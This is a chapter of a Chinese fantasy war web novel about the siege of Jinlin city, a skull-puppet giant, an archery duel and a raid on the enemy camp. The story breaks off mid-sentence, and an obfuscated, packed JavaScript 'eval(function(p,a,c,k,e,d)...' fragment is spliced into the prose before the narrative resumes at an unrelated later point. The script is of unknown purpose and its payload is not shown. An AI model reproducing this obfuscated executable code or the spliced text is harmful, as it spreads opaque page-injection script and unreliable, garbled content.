玄凝故作踌躇,思索了好一会儿才道:“你的要求是什么?若是要我做出有违身份之事,我可不会答应。” “那倒没有,相反,这件事与殿下的身份并无冲突。” “说来听听。” 我想要一个人的命。” “谁?” “娜伊尔。我的……好妹妹。” 他口中咬牙切齿地念出的名字,玄凝还真听说过。 谋害长子,弑母夺位的那位女真王,就叫做娜伊尔,他说了妹妹,那碦利什耶应该就是那个本该被谋害致死的长兄。 家遭贼人劫掠,侥幸逃生。 堂堂沧灵神旦,被拐卖到步天楼当舞郎。 呵,这沧灵王室,还真是有意思。 98. Chapter.97 冰是透明的。 跪在冰冷刺骨的湖面,目光透过层层寒冰,与觅食的湖鱼相互投向悲悯。 它会死。 被冻僵的手一寸一缕试探着伸出,触碰那双惊恐的白目,隔着遥远距离,身后迷雾之中,有脚步声逐渐靠近。 “居然活着,我还真是小瞧了你。” 额心被温暖的指尖划过,身后有人将裘袍披在身上,在冰湖上,一切仪式都在井然有序地进行着。 “从今天起,你将继承萨耶这个名字,成为沧灵五王子。” 染红的针尖刺入额间,知觉被唤醒,疼痛也接踵而至。 “你的意志将为沧灵而战,你的躯壳将侍奉苏伊尔王神,你的灵魂将生生世世守护沧灵。” 柔软倾覆在染红的图案上,眼帘忽而变得沉重,在昏睡前,一声轻叹传到耳边。 “萨耶,我的神旦。” 梦里的小人沉沉睡去,萨耶缓慢睁开眼,余光里,那与梦中相貌有七分相似的脸,正凑近轻唤。 “萨耶,你慢了。” 一旁的神巫将即将漏完的沙斗翻转,记录着苏醒时间。萨耶扭头躲过欲要落在额间的吻,起身拾穿不知何时被脱下的衣袍就要离去。 “站住。” 萨耶听从地停下脚步,身后人走到他面前,冷冷质问道:“你脖子上的伤是怎么回事?” 娜伊尔扒开他还未系上的衣扣,那道颀长的疤痕是如此丑陋不堪,她皱眉掐住了萨耶的脖子,“我的好神旦,你把血喂给谁了?” “……” “不肯说?” 按在伤口的手倏尔用力,娜伊尔盯着他泛起朔风的眉宇冷笑道:“你不说我也知道。” “你知道我会怎么做的,萨耶。”她松开手,拔出了腰间短刀,雪地照映的寒光仿佛更加冷冽,也给她淡蓝色眼底增添了一抹戾气。 “那个名叫玄凝的,会因你的善心死无葬身之地,而你……” 刀锋沿着愈合的伤疤一路向下,最终抵达心口。 “后日攻破金临之后,你该履行身为神旦的职责,向新王神,向我,奉身了。” “我不需要提醒,阿姐。” 萨耶握住她持刀的手,一点一点走向她的刀尖。 “说了不许叫我……”娜伊尔皱眉想要挪开刀,却被他紧握着手难以挣脱,“放手,萨耶。” 他脸上浮出一丝意义不明的微笑,娜伊尔目不转睛地盯着,生怕错漏了分毫。 但那笑容转瞬即逝,随着他的靠近,刀尖扎进了皮肉,沾着血迹的锋刃寒光不再,萨耶反手将短刀送到了她唇边。 “王上,我会为你献上一切。” 娜伊尔眼中刚亮起光芒,接着就因他坚决的话语再次沉落。 “除了此身貌。” 入夜鼓声再次敲响,被接连扰了半月睡眠的玄凝,面带着怨气冲上城楼,指着远处幽火命炮台将其打下来。 “太远了。” 卜闵仇目测着距离,“我们的火炮射程只有六百步,这点距离,连怀安河都打不到。” “殿下只是随口发泄,你还当真了。” 感受到目光,天蜻瞥了一眼就挪开,“你看我作甚,不信你问殿下。” 那发泄完怨气的女君又站在了墙头,连身后何时站了一大堆人都没注意到。 “又近了……” 放下手,玄凝一回头险些被吓一激灵,“你们怎么都站在我身后?” “我们听说主帅曾在昆仑山拜仙人为师,如今一看果然是仙姿洒脱,正气浑成。” “?” 事出突然,必有蹊跷。 “你们想干吗?” “将军一身正气,又有仙气护体,定是不怕魍魉邪祟近身,我们想……借将军几根头发,带在身上辟邪。” “……” 玄凝狐疑地环视了一圈,这确定是几根,不是一绺?再说,她身上哪来的什么仙气正气,顶多还有一丝比鬼还正宗的怨气,送出去估计也没人要。 眼下众人把她团团围住,玄凝站在高处,自己仿佛成了民间流传最多版本的重明鸟。 将自己的神力汇聚在羽毛上,拔下来分给有求之人,结果却因失去神力,重明鸟再也无法回到天上。 “胡闹。”卜闵仇上前斥责了手底下的甲兵,众人灰溜溜地退下后,玄凝这才得以从城墙上下来。 “好险,要不是你,我头发可就不保了。” “殿下说笑,她们只是看殿下年纪小,动动嘴皮闹着玩,不敢对殿下动手的。” 天蜻眼看两人并肩说笑,到嘴边的话语难察不满酸意,“她们就算动手,也未必能动得了殿下一根头发。” “你作为贴身护卫,该尽到的职责是保护好殿下不受任何危险威胁,而不是等到危险来临再去避险。” “我怎么当护卫还不用你这个手下败将教。” 眼见两人剑拔弩张地对立而站,玄凝伸着懒腰趁机开溜,“得,你们俩先吵着,我回去睡觉了。” “哼,大半夜谁跟她吵。” 她转身就要去追一溜烟跑没影的世子殿下,卜闵仇犹豫着喊道:“玄梦泽。” “……” 久违的被人直呼真名,天蜻停在原地,回眸语气放缓了不少。 “干嘛?” 卜闵仇像是没想到她会停下,手藏在后面,神情不自然,连利落的嘴皮也变得磕磕绊绊。 “我……我有话跟你说……” “说。” “我……我……” “你?” 城墙边上不知是谁起哄喊了一句“左骑护,答应她”,卜闵仇的脸噌一下涨红,回头羞恼喊道:“闭嘴!” 等她再回过头,原地已无身影。 俯见背影离去匆匆,卜闵仇攥着手里的信封,气得打了自己一巴掌。 “笨的要死,你就不能直接塞给她。” 下次。 下次再见面,一定要把信交到她手中。 天还未亮,金钟急促撞响,搅得睡梦中的长公主一脚蹬开棉被,坐起身骂道:“吵死了!!外面又是什么动静!!” 听数着金钟响彻的次数,裴柏青面色一变,神色紧张地抱起长公主伺候着穿衣,“钟鸣过半百为敌袭,沧灵军来了。” “什么?!”天覃连忙接过他手上的衣物穿上,“我去城墙上看看。” “不可,城楼危险,殿下还是老样子,随我去城中避险。” “又躲?我乃太子,又是中护军副统帅,怎么回回敌军来犯,我都要躲起来。” “这是世子殿下的意思。” 天覃穿好鞋踢了他一脚,“你少拿玄凝来管我。” “之前几次进攻,她不都是挺轻松就打退了吗,再说还没开始打起来,我就去看几眼怎么了。” “轻松?”裴柏青向来平淡眉心,拧着一丝不易察觉的嫌恶。 沧灵每次进攻,光是玄甲军的死亡人数就多达上百人,她为臣为主,何曾轻松,谈何轻松。 生在裴家,作为驯养多年的笼中雀禽,喜怒不言表,三思再慎重,天子之命在上,裴家之任在身,对于长公主,裴柏青有的是耐心。 他收起了从骨子里透出的厌恶,跪地淡淡道:“殿下既然想去,请让我陪你一同。” “这还差不多。” 沧灵此次进攻,不同先前两次分散兵力进攻北线城墙防守薄弱之处,而是集中全部兵力进攻主城墙。 透过千里镜中得以见到浩浩荡荡的沧灵军队,淡青憔悴的眉眼紧皱,唇边却依稀翘着冷笑。 “总算等来了。” 余光里,有人步履急匆赶来,“殿下,云护卫已经准备好动身了。” “嗯,一切按预备演习时的来,沧军第二声号角吹响再出发。” 她激动的连手都在颤抖,卜闵仇见了,还以为她是紧张害怕,犹豫安抚道: “殿下不要害怕,沧灵军来势固然凶猛,但我军这半月养精蓄锐,准备充分,定能在殿下率领下守好金临。” 玄凝放下千里镜,看了她一眼,呵呵笑道:“黑鹫与苍狼同出,你知道,这意味着什么吗?” 她还能笑得出来,卜闵仇有些摸不着头脑,“意味着此战艰巨?” 玄凝望着远处,眸中精锐似烈火焚原,“意味着此战只能胜,不能败。” 黑鹫擅长奇袭,通常会采用登云车的战术,令精弓在高处进行瞄射。 苍狼则擅长灵活作战,轻弓快马,最常用左右迂回包抄的战术,将士兵逼赶到一处乱箭射杀, 若能同时击溃黑鹫与苍狼,沧灵军势必元气大伤,短时间内无法卷土重来,待到气温回暖,怀安河水恢复流动,金临城便可再无后顾之忧。 远处传来一声低沉的号角,如大地的怒吼,接连的震颤从脚下袭来,千军万马踏过怀安河,直奔金临城下。 城墙之上,连发弓弩与填充好的火炮已准备待续,弓兵站连成排,箭矢冲着远处奔来的大军,只待一声令下,便可让箭雨轮番密布。 玄凝心中默数着距离,三百步,两百步,待到狼鹫两部队的骑兵开始进入射程范围,箭矢随军鼓同发,声势如化针风,细密穿雪涛,顷刻间打翻一片人海。 盾甲兵保护着战车与云梯上的精兵不受箭雨威胁,沧灵军如燃烧正盛的火焰,一场短短的箭雨,只是让火焰学会闪躲,而难消气焰。 玄凝抬起手晃了晃,负责传达号令的讯兵立即敲响了三声短促军鼓。 又是三波箭雨,冲在最前的沧灵士兵倒下了,她们的同伴踩踏过尚且存活的身体继而向前。 火炮轰轰声震,玄凝捂着耳朵观察着结果,“嗯,比上次打的准多了,让炮手继续瞄着战车,一定要瞄准再打,这东西造价可贵了。” 培养一支军队的成本不是小数目,研究、制造军备亦是花销巨大,玄家这些年投入的金银犹如砸落海面的石头,看不见摸不着,只有战事出方见良效。 火药的威力比箭羽来的猛烈,身处爆炸中心,再坚固的盾甲也无法抵抗,支离破碎的血花飞溅,在近乎融化的雪地上,形成了一个又一个土坑和尸丘。 战争,没有公平。 投石车的木杆吱吱呀呀的发出悲鸣,沾了白色火焰的巨石划过晨昏,宛如一颗颗耀眼的飞星。 “重甲开盾!” 鼓声重重敲击了五响,玄凝蹲身躲在盾牌后,透过缝隙瞄着城墙上的情况。 沾染火焰的石头并未立即熄灭,砸在城楼一隅角落熊熊燃烧着,有人不幸沾到了衣角,火焰瞬间顺着腰上爬到肩膀,旁边的人慌忙就要用手去拍灭,吓得玄凝连忙佝身飞奔了过去。 “别碰!” 火焰无法用水熄灭,且极易附着皮肤,只能自然燃尽。这是作为合作,与碦利什耶交换来的情报。 “躺下不要动。”玄凝蹲下来握手安抚着被烈火烤炙的士兵,内心焦急等待着心中猜想,能否能够验证。 先前沧灵攻城,白色火焰从未出现过,如今被用在投石车上,被砸中的效果不亚于火炮。 难怪沧灵军会安静这么久,原来是在等火焰喷发。 被压在身下的火焰逐渐熄灭,玄凝的猜想得到验证,连忙命人通知下去,将准备好的沙石袋倒在地上。 “千万不要直接触碰火焰,一旦身上起火,立即前往身后的沙石堆。” 传令兵高举着火把一路跑过城墙,嘴中高喊着被简化的救人警示。 “勿碰白火,沙石可灭——” “殿下!殿下!” 玄凝不知道自己的发现是否及时,是否可以拯救火焰缠身的兵卒,她听见卜闵仇的急呼连忙跑了过去,“怎么了?” “殿下快看怀安河!” 放眼过去,哪还有怀安河的影子,山林像是漏了气的巨大蒸笼,绵连不绝的白色烟雾不断流淌蔓延,在晦暗的日出之时,如蛇般游走在沧灵大军中。 怀安河,被白雾吞噬了。 上次身中幻境险些无法脱困,玄凝心有余悸,更对莫名其妙出现在冰河上的白雾心存警惕。 这若是毒,放得未免太早,又太远,况且今日无风…… “!” 攻城的号角再次吹响,大地颤抖着身躯,拥抱枯死的树枝,与跌宕的吼声共吻鲜红。 火药夹杂着血腥味扑面而来,玄凝惊怔地望着从白雾中走出来的庞然大物,无法形容的震惊感,和心中隐隐生出的恐惧,使得唇边下意识骂了一声脏字。 “那是什么……” 卜闵仇张着嘴,连同其他甲兵连脸上同样写满不可置信。 白雾中,赫然出现了一个比城墙还要高的“人”。 由无数颗人或动物的头骨组成的,只剩下骨架的髑髅巨人,挥舞着手臂走出白雾,朝着金临城走来。 不是原地踏步,是真的在前进。 髑髅巨人所到之处,冰面出现裂纹,扇弄的风声呼啸穿过空洞眼眶,头骨作铃响,一步,一阵清脆。 “鬼……真的是鬼……” “幽鬼将军……传闻是真的!” 人对未知事物的出现,总是恐惧在先,一时之间神鬼之论又满天飞,玄凝也算是见多识广,在众人叽叽喳喳的惊呼声缓过神后,立马拿起千里镜望去。 真要是幽鬼她还守什么城,赶紧回昆仑给镜释行哐哐嗑三百个响头,求他原谅请他出面下山驱鬼得了。 天光渐明,即便有雾气遮掩,玄凝还是捕捉到一丝异常。 串连的头骨后面,好像有人。 “装神弄鬼。” 玄凝冷笑着看向髑髅脚下,那里是分别钉在战车上的四根长柱,人驾着战车前进,髑髅自然也跟着前进。 这哪里是幽鬼将军,分明是用来奴役活人的威慑傀儡。 既然是人力操纵,那她三上昆仑的计划只好暂时搁置,当务之急,需尽快破除此诡象,好稳定军心。 “传我号令,步骑出城迎战,所有炮台都给我瞄准这个丑东西,让女真王见识一下,什么叫作人见鬼愁。” 铜唢尖锐,雷鼓轰鸣。 高耸的城门随之打开,吉蕸率着精锐骑兵冲在最前,而当看到巨大的髑髅在不远处朝向她们走来时,马蹄陡然生怯。 “战场上不要分神。”吉蕸皱眉催促着身旁慢下来的精锐骑兵,“你们都是玄家精心训练多年的战士,未知和恐惧无法干扰你们。” 话音刚落,城楼上数十架炮火齐鸣,声音震耳欲聋,连训练有素的战马都受惊,吉蕸勒住缰绳稳住身形,拉弓放箭的同时,余光紧盯着庞然大物。 “打中了。” 火焰迸发在髑髅身上,巨大的轰响声中,髅身被炸毁,车上血肉四溅,破碎的头骨迸发出白色火焰,不分敌我的洒向四周,落在躲闪不及的沧灵军身上,瞬间燃起了更为冷冽的白芒。 火光冲云,神鬼哀鸣。 混乱与哀嚎接连不断地传到耳中,娜伊尔骑在马背上,阴冷目光隔着凸镜与硝烟死死盯着城楼上的女子。 “萨耶。” 湛蓝双眼望了过来,萨耶驾着马向前挪了几步,“王上有何命令。” 那只手握在脖颈反复摩挲,继而向上点在额间神纹。 “我的神旦,该你上场了。” 距离金钟撞响已过去一个时辰,天色已经大亮,浓烟弥漫的战场上看不见晴空,只有绣着重明鸟的红色旗帜随骏马奔驰。 旗帜所在,指引着进攻方向,步兵举着长矛列阵步步紧逼,将苍狼军逼退在半途,两侧边翼,吉蕸率铁骑不断围绕进攻,用她们最擅长的进攻方式率先将其包围。 眼看就要将苍狼军围困,忽然一支长箭穿过重重人海,直奔吉蕸身影而来。 马踏嘶鸣,伴随着身下马匹倒地,吉蕸也被迫摔下马,滚身抱头,若反应再慢分毫,她就要被身后紧随的马儿踏过胸膛。 战场上,再小的变故都能引起局势反转,又是几支箭羽呼啸,正试图发起进攻的铁骑毫无防备,纷纷被射落马下。 马蹄铁从玄甲身上踏过,苍狼军抓住机会冲出包围,一转攻势,将吉蕸率领的铁骑团团包围。 “殿下,吉将军那里情况不妙。” 玄凝黑着脸沉声道:“我知道,速令羽林军支援,另外,把我的重弓拿来。” 自从与沧灵军交手,玄凝便知自己的弓射远不如人,将近三个月的时间,她一有空闲便会到弓校场苦练准势,如今不说百发百中,光是射程,便足以比下一众精锐。 紫檀木打造的重弓足足有一人高,拿在手中沉甸甸的,卜闵仇将弓放到玄凝手中,不等讶异于她毫不费力的神情,又卸下了箭囊,呈上与之相匹的重箭。 玄凝阴沉着面色,手举着比自己还要高出半头的重弓,架弓搭箭,探身歪头,瞄准百里之外的还在拉弓撒放的狼鹫面具,咬碎了恨意拼凑话语。 “敢射杀我的人……” 重弓的拉力足有百石,堪比两人的体重,泛红的指尖随着弓弦后拉绷紧,而血色全无。 箭矢紧紧追随着萨耶移动的轨迹,在预判到对方下一步的动作之后,箭支瞬间从指间飞出,划破飘浮空中的烟雾,一路风驰电掣,来到目标所在。 “萨耶大人小心!” 身后有人急切呼唤,淡墨双眼映照着直奔他而来的箭矢,面具之下,唇角悄无声息地勾起又落。 被她发现了。 能把重箭平放这么远,萨耶还是第一次遇见,箭镞快到人前时,他才轻轻往后一仰,不紧不慢地躲开。 可惜,距离太远,箭支的速度在达到一定程度后会随之减慢,威力程度也会大大降低。 萨耶仰着目光望向城楼,他仿佛能看见那人板着脸,因为没有射中而生气的模样。 手中的轻弓再次拉放,他的箭法在长达十年日复一日的锻炼后,已是百发百中。 比起在祭坛上献身利刃吻喉,在战场上死于强敌箭下,以此孽度亡魂,显然后者更能对得起王神与子民。 在他分神之际,又一支重箭朝他袭来,箭上绑着沾染白色火焰的布条,像是坠落的飞星,砸落在马蹄之下。 准势,偏了。 但力度更加重了。 匆匆一瞥,脑海里回想着那只牢牢钉在地上的长箭,萨耶不禁敛紧了眉心。 这个射程连沧灵重弓精锐都做不到,她的力气,未免可怕。 若是再靠近一些,他应该会被一箭射杀。 尼古利瞥见萨耶忽然偏移路线,从后方一路深入到战场中央,连忙驾马跟上喊道:“神旦别过去!对方是冲你来的!” “回去。”萨耶勾指拎起一支长箭,冷声道:“我的任务,是她。” 话音一落,长箭朝上抛射而去,一头扎进城墙缝隙中。 高度不够。 玄凝看见他朝自己奔袭而射,心下较量大于不解,她拉开弓瞄着人群中奔驰的黑马,哪怕缠满绷布的手指,渗淌出殷红血液,她势要让这位沧灵神弓跌落马下。 锐眼点燃炬火,箭势飒奔如东风。 对方像是有所察觉,手中的弓箭对准冲他而来的箭,满弓瞬发。 箭镞铮撞,因碰撞而发生改变射轨的重箭,强行穿裂长箭箭杆,朝着马背上的身影而去。 “!” 身影倒下去的那一瞬间,玄凝不自觉跟着拧紧了心弦。 这人身上有种熟悉的感觉,她无法言明,以至于每次瞄准要害,她都要对心中的不忍视若无睹。 怎么还没起来,她到底射中哪了? “殿下,吉将军回来了。” 吉蕸是被人扶上城楼的,她的右腿中了一箭,箭杆已经砍断,箭头却扎在肉里,走起路来一瘸一拐的。 “军医……”玄凝刚要问军医何在,吉蕸摆了摆手,“她们忙着呢,这点小伤我自己就可以处理。” 玄凝想到她之所以受伤,全都是拜萨耶所赐就气得牙痒,“我下去,这里的一切就交给你指挥调度。” “我……”吉蕸还想推拒,但玄凝像是知道她会说什么,一句“将军不在,我心难安”,就将人堵了回去。 玄家军前仆后继,血染红了金临城下,宛如天景城中倒映缭亮华灯的红河。 天覃早早就到了城楼附近,看着玄甲军神色匆匆从身边经过,目睹数以百计重伤的士兵从城楼上抬下来,听着炮火与厮杀共奏,她心生畏惧,不敢上前。 值得吗。 为了一座破城倾注身家性命,真的值得吗。 “玄凝……” 看见玄凝从城楼上下来,天覃立马跑到跟前,握着她的手迫切道:“玄凝,我们撤退吧,打不赢的,你祖上打了十年才把她们打退怀安河外,再打下去只会有更多伤亡……” “撤退?”玄凝正忙着下楼率军出城支援,听见丧气言论,气得揪住她的衣领,“长公主,依你之间见我们该撤去哪啊?雪幽谷?巫霞关?还是天景城。” “我,”天覃咽了咽干涩嗓子,垂眸道“不知道……” “哼。”玄凝冷眼撒开她,擦肩而过的瞬间,停步斜睨道:“收起你的愁眉苦脸,今日哪怕是战败,玄家也会殊死保护长公主殿下,活着回到天景城。” “我不是担心自己……” 她走得飞快,天覃连解释的话都没说完,回过头时只依稀看见了个模糊背影。 “麻烦殿下让一让。” 又有伤员从城楼上抬下来,天覃避退了几步,看着被巨石砸烂而血肉模糊的面部,她捂着口鼻险些干呕出来。 裴柏青一直陪在她身侧,作为旁观者观察这一切的发生,他本不必谏言,却在看见那双凤眼泛红落泪后,投以嘲讽语气的关怀。 “回去吧殿下,这里,世子殿下足以轻松应对。” 他故意咬重了“轻松”,等待着斥责和掌掴。 预想中的巴掌没有到来,天覃揉去眼泪,避开了匆忙的人群,沿着城楼石阶向上登去。 “殿下。” 裴柏青拉住了她。 “上去之后,便不能再下来了。” 天覃扬着下颏睥睨着身后,“我身处高位,自当承其代价。” 她伸出手,问:“你要一同吗?” 那双眼眸,如凤聚辉。 那只手,还在因恐惧颤抖。 心中似有浪潮狂涨,裴柏青难以分辨那是什么,片刻后,他将自己的手轻放在她的掌心,牵起眉眼一片涟漪。 “承蒙恩宠,裴郎,自当奉陪。” 湖面上到处弥漫着雾气,时有日光闯入投下大片斑驳,神巫站在湖边,紧闭双目,手举着颅骨,嘴里念诵着如乐声般的占卜之语。 有人无声接近,寒刃架在颈项,神巫像是看到了什么恐怖景象,额头上渐渐出了层细汗。 “神旦将死,王神湮灭,新王……。” 她惊恐地睁开眼,想要派人去告知律真王上占卜结果,却在碰到锋刃的那一刻,双腿一软,两眼一闭倒地不起。 “我还没动手呢,怎么就晕过去了?” 云泥踢了踢地上的神巫,见她一动不动,拿着绳子就将人捆起来。 瞥见落在湖边的颅骨,云泥顺手拎起,拿在手里端详片刻,也看不出什么名堂。 恰好天蜻从沧灵军营帐里走出来,她像抓住救命稻草一样,跑过去就问:“天蜻,你看看这是什么动物的骨头?” 天蜻颦眉接过骨头,捧在手心打量,“这……好像是蛇的头骨。” “蛇头骨?这歹是多大的一条蛇啊。” 传闻沧灵境内多有山川洞穴,常有巨蟒出入其中,如今亲眼所见,虽只是骨头,倒也可证传闻是实非虚。 “从哪搜来的?” “喏,”云泥努嘴示意一旁湖边,“那个女人捧着这个蛇头骨神神叨叨的,不知道在念什么。” 待看清那被捆女人的装扮,天蜻被吓白了脸色,“你杀了沧灵神巫?” “没有,只是晕过去了。”云泥夺过蛇头骨,“我要把它带回去送给庄主,她一定会喜欢。” “那就好,那就好……”天蜻长纾一口气,正要走开,云泥又问道:“对了,你看到碦利什了吗?” “他好像去王帐那边了。”天蜻不放心提醒道:“你去找他过来吧,沧灵军随时可能回来,我们的时间不多,需要抓紧。” “沧灵大举攻城,后方防守定是薄弱。” 开战前,玄凝便交代了两人,“天蜻云泥,你们率小队绕路前往湖边,找到沧灵军营地,把她们的粮草军备带回来,带不回来就扔湖里,或放火烧了。” 世子所言确实不假,沧灵此次攻城几乎全军出动,后方负责看守的,多是新人或伤兵,制服这些人,对于云泥她们来说简直是毫不费力。 云泥揣着蛇头骨蹦蹦跳跳掀开王帐,碦利什果然在里面,站在那里像一棵树,也不知道在看什么这么专注,连她的到来都没有察觉。 “你的血可真管用,等打赢了这场仗,我去军食所讨点牛肉给你补补。” 他还是没有反应,云泥纳闷走上台阶,看见碦利什在对着一个金灿灿的,镶嵌着宝石的椅子发呆。 “这是女真王的王座?看我把它砸的稀巴烂——” “不要乱碰。”碦利什耶可算回过神,皱眉拦下了她。 “为什么?难道有机关?” 碦利什耶不作回答,垂眸摸着王座上的环蛇雕刻,忽而问道:“你想坐上去吗?” “啊?” 在云泥难以理解的目光中,碦利什耶揽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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无人在意她们的话语,只有碦利什耶听懂了,步伐一滞,望着身后燃烧的营帐垂眸道:“抱歉。” “你是沧灵人?你为何要帮她们!” 攥紧了手又松开,碦利什耶望着不远处正向他招手的女子,回眸道:“她救了我,我要让整个沧灵,皆奉她为王神。” “你在说什么……” “碦利什你在干什么?快点,我们该走了。” 躺在地上的伤兵颤巍巍坐起身,不可思议道:“碦利什?等等,你是……你是三王子?!” 在众人惊讶的目光中,碦利什耶沉默地走开,驾马跟随队伍离去。 身后似有动静,碦利什耶听见有人喊其神旦,眉眼一惊,猛地调转马头朝那人奔去。 “碦利什?你干什么去?回来!” 是啊,除了他,沧灵还有一位神旦。 那个,害死他阿姐与媫姆的罪魁祸首。 看见银白色身影正在试图救火,碦利什耶咬紧了牙关,不等马停便翻身跃下,抓着那人系在身后的长发,挥手便是一拳。 “你居然没死,亏你还好意思活着。” 没有反抗,萨耶捂着流血的肩膀,挨了几拳后便倒在地上。 注意到他的动作和身上的血腥味,碦利什耶冷笑道:“受伤了?好啊,我帮你治治。” 说完不等他挣扎坐起,碦利什耶掰开他的胳膊,一脚踩在了伤口上,狠狠辗轧。 面具下的眉眼挤作一处,很快,有人摘下他的面具,让其脸上所有不堪,统统暴露在阳光之下。 只是…… “你是谁?”碦利什看到那张脸忽的一愣,“你不是萨耶。” 那张俊美的面庞,颦眉微微。 “不对……” 碦利什捂着忽然晕眩的脑袋,指着那张模糊容貌,“你是……你是……你是神旦萨耶。” “碦利什!” 云泥驾马急冲冲回来,抓着人衣服就将人往回赶,碦利什耶还想反抗,气得她一巴掌扇在了他屁股上。 “你干什么!连我的话都不听了!” “不行,云,我必须……” 被放到马背上,他还执意要回去,云泥不给他这个机会,一掌将人敲晕了带走。 倒在地上的萨耶缓缓摸上自己的脸庞,他摸得十分小心谨慎,向下,再到浸染鲜血的衣甲,被一箭射穿的肩膀,他闭上了眼睛,向梦中身影倾诉道。 “……疼。” 金临城下,厮杀仍在继续。 号角与鼓呐交织残响,火焰燃烧着鲜血浇灌的土壤,嘶吼与绝望共存的大地上,神天会见证一切生命的悲壮哀歌。 沧灵来时,天还未亮,如今正午已过,金轮不晓人间悲欢离合,依旧运转着时间,将众人的脸上画满疲惫与亢奋,将这场战争的结局推向未知。 握着剑的手早已麻木,玄甲上溅落的,是沧军还是玄家军的鲜血,玄凝分不清,也无暇去思考这种不痛不痒的问题。 为何云泥她们还未回来,难道她的猜想是错的,沧灵军仍有势力保留? 为何下来后再也没有看见那个人,他是死了,还是被救走了? 最好是死了,省得她日后攻城,还要顾虑他的恩情。 “红光!是玄鸟箭!玄凝!她们回来了!” 城楼上忽然有人大喊,身处战场,玄凝耳边有利器与兵甲碰撞,战马嘶鸣等各种嘈杂声音,根本听不清那人喊得是什么。 只是,声音有些熟悉。 玄凝一脚踹开扎在剑上的沧灵士兵,抬眸瞥了一眼,只见长公主正站在城楼边上,挥舞着旗帜,指着方向。 她是不是挥错旗帜了,那是玄家军的,不是中护军的。 旗帜指着的方向,上空亮起了红光,玄凝看到后,杀意眼中总算恢复了点生气。 总算等来了。 “你说什么!玄家军闯入军营了?” 马背上的娜伊尔气得扬鞭抽打,马下跪着的尼古利含咬着下唇,强忍着脸上的疼痛,皱眉道:“是……” “我们刚到营地附近,萨耶大人发现脚印不对劲,立马让我回来禀告王君。” “不,不可能,她们不可能穿过毒雾。” 娜伊尔还是不肯相信,直到身后有人提醒,刚刚有只队伍绕过战场前往金临城南门,而营地方向出现了狼烟,她才颤抖着双唇,嘶声吼道:“废物……一群废物!!!” 恨意与不甘共存的湛蓝眼眸有烈火点燃,“传我命令,撤到林中,进行围猎。” 震天的鼓声响彻云霄,城楼上,天覃信誓旦旦地喊着“宵小沧灵,胆敢犯我大琼边境,此战若胜,每人涨年俸一百两!” 士兵见她语气笃定,纷纷振作精神,奋勇杀敌。 裴柏青无奈地凑到耳边,“殿下,莫说一百两了,就是涨十两军俸,都难于登天。” “为何?” “因为……”朝中为军饷一事争执多年,裴柏青不知道该从何说起,天覃见他欲言又止的样子,似乎明白了什么。 “我知道了,军事开支看似由兵部与工部管控,实则最后还是要经过内阁和天子审批,而黄家与玄家向来水火不容,所以你才说是难于登天。” 她虽不问政事,这些年跟在天子身边倒也耳濡目染了些,倒是裴柏青,心下诧异多的都浮出脸面了。 “那怎么办,我都说出去了,哪有反悔的道理。” 裴柏青想了想,“可以用赏银的方式,与月俸一同发放。” “看不出来,你还有这头脑。” “玄家这些年一直在这么做。”听到她们的谈话,一旁的吉蕸看了过来,“不然太子殿下以为,就凭朝廷给的那点俸禄,能有如今规模的军队?” 若在平时,天覃还能回怼上两句削减军队,节省开支,眼下在战时,她只能瘪嘴。 吉蕸也没打算与她开展长篇大论,千里镜中观察到沧军后方开始陆续往后撤退,立马让人击鼓扬旗,打着进攻信号。 “沧灵军开始撤退了!” 也就是说,云泥她们不仅活着回来了,而且顺利毁了沧灵军的粮仓与军备库。 得此消息,玄凝浑身好像又充满了力气,立马命短弓精锐上马包抄拦截黑鹫军,自己则率领重骑西进,追击苍狼军部。 有人驾着骏马靠近,卜闵仇远远看见是玄甲,也就没有在意,直到一支箭划过初显的夕阳,朝着正在挥砍杀敌的世子奔去,她才惶然催马,纵身一扑,用身躯挡下了飞箭。 箭矢插进喉咙,飞溅的几滴热血,洒在玄凝的侧脸又缓慢流下,在光下,犹如夕阳的眼泪。 玄凝怔然望着离去的玄甲身影,那人虽穿着玄甲,手上拿的,却是沧灵独具一格的狼牙弓。 [天蜻云泥不在,你就留下来做我的一日护卫吧。] 玄凝侧过脸浅浅一笑,“就像过去一样。” 杏花潭水倒映的面庞轻点颔首,动了动嘴角,像她一样淡淡笑着,不易亲近的眉眼间,平添了一丝腼腆。 “是,小庄主。” 为什么…… 玄凝追着那身玄甲,沾满鲜血的逍风烛龙显现,金光下宛如活的一般。 为什么她无心的决定,总是给她人带来灾祸。 既承天命,天命孰谓? 命格巍重,孰承孰祸。 手中的逍风对准了难以追上的身影,如投掷长枪一般,使出全部力气向其抛去。 玄凝只知,其心不争,有仇必报。 承载满腔怒火的逍风如重箭向身影飞去,烛龙狂啸,刃风划破了路径上的旗帜,于半空冲下,一口撕咬住喉咙。 尖锐贯穿后颈,身影重重砸落马下,玄凝翻身跳下马,手握着剑柄用力拔出,鲜血如喷井四溅,将粘黏干涸血液的发缕,再添湿漉。 “脏死了。” 玄凝抹去溅在眼帘上的血,抬手挥斩,身首分离。 “你杀了沧灵神巫……”被炮火炸断胳膊的沧灵士兵指着她身后惊恐道:“邪神……邪神降临了……” 她在说什么。 “不……不要杀我……”沧灵士兵只手撑起身子连连后退,嘴里不断哀求,“王神在上,庇佑沧灵……” 玄凝微笑着走过去,看着那双因恐惧而缩小的瞳仁,手上的逍风对准了眼球狠狠刺去。 “嘘。不要乱叫。” 她才不是…… 嗯? 玄凝愣愣地望着逍风,她怎么突然听懂了。 …… 她低下头,两个血淋淋的窟窿映入眼帘,吓得玄凝猛地后退了一步。 这是……她干的? “主帅!” 重骑追来回禀“苍狼跑得太快,现已过河钻进林中了,要不要继续追?” 怀安河那头,淡淡的白雾始终沉在地面,玄凝转过身,望着横于血肉堆叠中的金临城,心头涌上了莫大的酸楚。 金临城,总算彻底守住了。 见她上马往回走,重骑跟在后面问道:“主帅,不追了吗?” “她们没了粮草,盛怒之下必将死缠,与其冒着风险追击,倒不如回去吃顿饱饭。” 临近初春,朔北的黄昏,也格外漫长。 通常士兵身上贴身携带的都是遗书,或者重要护佑之物,而躺在卜闵仇胸怀中的,却是一封染了血的道歉信。 靠在城楼墙角,迎着黄昏,玄凝将那封信递给了天蜻。 “对不起。” “殿下别这么说,身为护卫,保护殿下是我们的职责。” 